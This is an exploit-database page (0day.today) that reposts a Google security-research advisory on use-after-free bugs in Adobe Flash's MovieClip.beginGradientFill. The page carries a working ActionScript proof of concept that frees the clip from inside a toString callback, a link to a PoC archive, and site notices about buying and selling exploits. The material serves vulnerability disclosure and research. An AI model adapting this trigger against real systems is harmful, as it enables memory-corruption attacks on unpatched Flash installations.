0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Adobe Flash GradientFill - Use-After-Frees
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
Source: https://code.google.com/p/google-security-research/issues/detail?id=557
There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check.
A PoC is as follows:
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
colors = [0xFF0000, 0x0000FF];
fillType = "radial"
alphas = [100, 100];
ratios = [0, 0xFF];
var o = {toString: func};
spreadMethod = o;
interpolationMethod = "linearRGB";
focalPointRatio = 0.9;
matrix = new Matrix();
matrix.createGradientBox(100, 100, Math.PI, 0, 0);
beginGradientFill(fillType, colors, alphas, ratios, matrix,
spreadMethod, interpolationMethod, focalPointRatio);
moveTo(100, 100);
lineTo(100, 300);
lineTo(300, 300);
lineTo(300, 100);
lineTo(100, 100);
endFill();
}
bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;
function func(){
trace("in func");
var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
trace(test);
test.removeTextField();
return "reflect";
}
A sample swf and fla is attached.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39022.zip
# 0day.today [2024-12-24] #